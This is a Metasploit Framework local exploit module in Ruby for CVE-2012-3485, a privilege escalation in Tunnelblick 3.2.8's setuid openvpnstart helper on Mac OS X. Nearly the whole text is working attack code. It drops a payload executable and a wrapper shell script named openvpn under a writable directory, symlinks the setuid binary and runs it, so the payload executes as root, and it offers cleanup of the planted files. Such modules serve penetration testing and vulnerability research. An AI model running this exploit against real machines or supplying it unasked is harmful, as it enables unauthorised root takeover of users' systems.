Setuid Tunnelblick Privilege Escalation

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/post/file'  
require 'msf/core/exploit/exe'  
  
class Metasploit4 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::File  
include Msf::Post::Common  
  
def initialize(info={})  
super( update_info( info, {  
'Name' => 'Setuid Tunnelblick Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The  
vulnerability exists in the setuid openvpnstart, where an insufficient  
validation of path names allows execution of arbitrary shell scripts as root.  
This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099  
over Mac OS X 10.7.5.  
},  
'References' =>  
[  
[ 'CVE', '2012-3485' ],  
[ 'EDB', '20443' ],  
[ 'URL', 'http://blog.zx2c4.com/791' ]  
],  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jason A. Donenfeld', # Vulnerability discovery and original Exploit  
'juan vazquez' # Metasploit module  
],  
'DisclosureDate' => 'Aug 11 2012',  
'Platform' => 'osx',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell' ],  
'Targets' =>  
[  
[ 'Tunnelblick 3.2.8 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],  
[ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },  
'DefaultTarget' => 0  
}))  
register_options([  
# These are not OptPath becuase it's a *remote* path  
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),  
OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])  
], self.class)  
end  
  
def check  
if not file?(datastore["Tunnelblick"])  
print_error "openvpnstart not found"  
return CheckCode::Safe  
end  
  
check = session.shell_command_token("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000")  
  
if check =~ /openvpnstart/  
return CheckCode::Vulnerable  
end  
  
return CheckCode::Safe  
end  
  
def clean  
file_rm(@link)  
cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn")  
end  
  
def exploit  
  
print_status("Creating directory...")  
cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0"  
  
exe_name = rand_text_alpha(8)  
@exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}"  
print_status("Dropping executable #{@exe_file}")  
write_file(@exe_file, generate_payload_exe)  
cmd_exec "chmod +x #{@exe_file}"  
  
  
evil_sh =<<-EOF  
#!/bin/sh  
#{@exe_file}  
EOF  
  
@sh_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/openvpn"  
print_status("Dropping shell script #{@sh_file}...")  
write_file(@sh_file, evil_sh)  
cmd_exec "chmod +x #{@sh_file}"  
  
link_name = rand_text_alpha(8)  
@link = "#{datastore["WritableDir"]}/#{link_name}"  
print_status("Creating symlink #{@link}...")  
cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"  
  
print_status("Running...")  
begin  
cmd_exec "#{@link} OpenVPNInfo 0"  
rescue  
print_error("Failed. Cleaning files #{@link} and the #{datastore["WritableDir"]}/openvpn directory")  
clean  
return  
end  
print_warning("Remember to clean files: #{@link} and the #{datastore["WritableDir"]}/openvpn directory")  
end  
end  
  
`